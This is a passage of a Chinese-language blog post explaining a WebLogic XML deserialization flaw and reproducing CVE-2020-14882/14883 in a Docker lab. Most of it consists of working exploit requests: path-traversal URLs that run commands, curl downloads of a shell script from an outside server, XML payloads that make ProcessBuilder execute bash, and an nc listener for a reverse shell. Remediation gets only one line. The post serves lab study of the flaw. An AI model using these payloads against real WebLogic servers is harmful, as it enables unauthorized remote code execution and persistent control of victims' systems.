    WebLogic在处理SOAP报文时,未对WorkContext中的XML内容进行安全过滤,直接触发反序列化操作。ProcessBuilder类在实例化时会执行其start()方法,导致系统执行预设的Shell命令。

  3. 远程代码执行链

    <array>标签中的三段命令通过拼接形成完整的Shell指令:

    • /bin/bash调用系统Shell解释器
    • -c参数允许后续字符串作为命令执行
    • wget从攻击者控制的服务器下载Webshell(如JSP文件)到WebLogic可访问路径,实现持久化控制。
  4. WebLogic的异步通信服务(AsyncResponseService)未对XML反序列化过程施加严格的安全限制,使得攻击者可通过构造特定XML节点调用危险类(如ProcessBuilder)。这种设计缺陷导致攻击者绕过常规权限校验,直接操作底层系统。

xml 反序列化的过程

  1. 恶意对象构造阶段
    攻击者通过XML标签层级结构定义高危操作,典型构造包含<java>根节点、<object>类实例化标签及<void>方法调用标签。例如定义ProcessBuilder类实例时,通过<array>标签注入命令参数,最终通过<void method="start">触发进程执行。

  2. 动态反射解析阶段
    XMLDecoder在解析时会采用Java反射机制动态构建对象。当解析至<object class="java.lang.ProcessBuilder">节点时,解析器会通过Class.forName()加载目标类,利用Constructor.newInstance()实例化对象。参数赋值通过<array>标签内的<string>元素完成,形成完整的命令参数数组。

    1
    2
    3
    4
    5
    public ProcessBuilder(String... command) {
    this.command = new ArrayList<>(command.length);
    for (String arg : command)
    this.command.add(arg);
    }
  3. 方法链式触发阶段
    在闭合标签处理阶段,解析器通过Method.invoke()执行预设方法。针对<void method="start">标签,系统会调用ProcessBuilder实例的start()方法,此时已构造完成的命令参数(如calc.exe)将被传递给底层Runtime.getRuntime().exec(),实现系统级命令执行。

CVE-2020-14882

漏洞描述

Weblogic 管理控制台未授权远程命令执行漏洞

CVE-2020-14882:允许未授权的用户绕过管理控制台的权限验证访问后台;

CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令

使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

影响范围

WebLogic 10.3.6.0
WebLogic 12.1.3.0
WebLogic 12.2.1.3
WebLogic 12.2.1.4
WebLogic 14.1.1.0

漏洞环境

docker-compose.yml

1
2
3
4
5
6
version: '2'
services:
weblogic:
image: vulhub/weblogic:12.2.1.3-2018
ports:
- "7001:7001"

漏洞复现

CVE-2020-14882

这个是一个未授权访问

image-20240114100726475

CVE-2020-14883

下面这个就是反弹shell,原理就是运用java的命令执行函数造成的

java 唯一一个命令执行函数:

java.lang.Runtime.getRuntime().exec()

下面是payload

创建文件夹

http://139.155.49.43:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec (‘touch%20/tmp/august’);”)

image-20240114101417359

因为这个是i靶场我们可以看这个文件是否创建

image-20240114101639601

成功创建

这个相当于就是命令执行了,现在想反弹shell 可以敲反弹shell的命令,也可以直接下载反弹shell的脚本

现在我的vps模拟攻击机

先访问一下是否成功

image-20240114102751482

image-20240114103443473

现在攻击靶机

http://139.155.49.43:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec (‘curl http://8.130.123.25:8000/linux_shell.sh -o /tmp/shell.sh’);”)

然后看一下是否成功

image-20240114103248234

然后使用bash反弹shell

http://139.155.49.43:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec (‘/bin/bash /tmp/shell.sh’);”)

image-20240114104206055

现在复现一下第二种方法,这个方式主要使用的是xml文件,而且对所有Weblogic都是有效的,原理就是weblogic会解析xml中我们插入的命令

test.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success2]]></value>
</list>
</constructor-arg>
</bean>
</beans>

download.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[curl 139.155.49.43:8000/shell.sh -o /tmp/shell.sh]]></value>
</list>
</constructor-arg>
</bean>
</beans>

runshell.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash /tmp/shell.sh]]></value>
</list>
</constructor-arg>
</bean>
</beans>

其实就是很简单的几个文件

记得这几个文件都要放到http.server文件下面才行

因为需要解析

我直接先监听一个端口

1
nc -lvvp 9999

然后攻击

http://192.168.79.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=
&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(“http://8.130.123.25:8000/download.xml“)

image-20240114112055418

为了分辨我将这个换成了shell2.sh

然后执行,就是runshell.sh

http://192.168.79.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=
&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(“http://8.130.123.25:8000/runshell.xml“)

image-20240114112230993

方法三就是使用利群工具箱

image-20240706011035155

漏洞修复

其实我们可以知道这一切都是由于未授权访问造成的后果

所以只要对

关闭后台/console/console.portal对外访问

进行授权就可以了


Weblogic中间件漏洞
https://tsy244.github.io/2024/01/13/渗透/Weblogic中间件漏洞/
Author
August Rosenberg
Posted on
January 13, 2024
Licensed under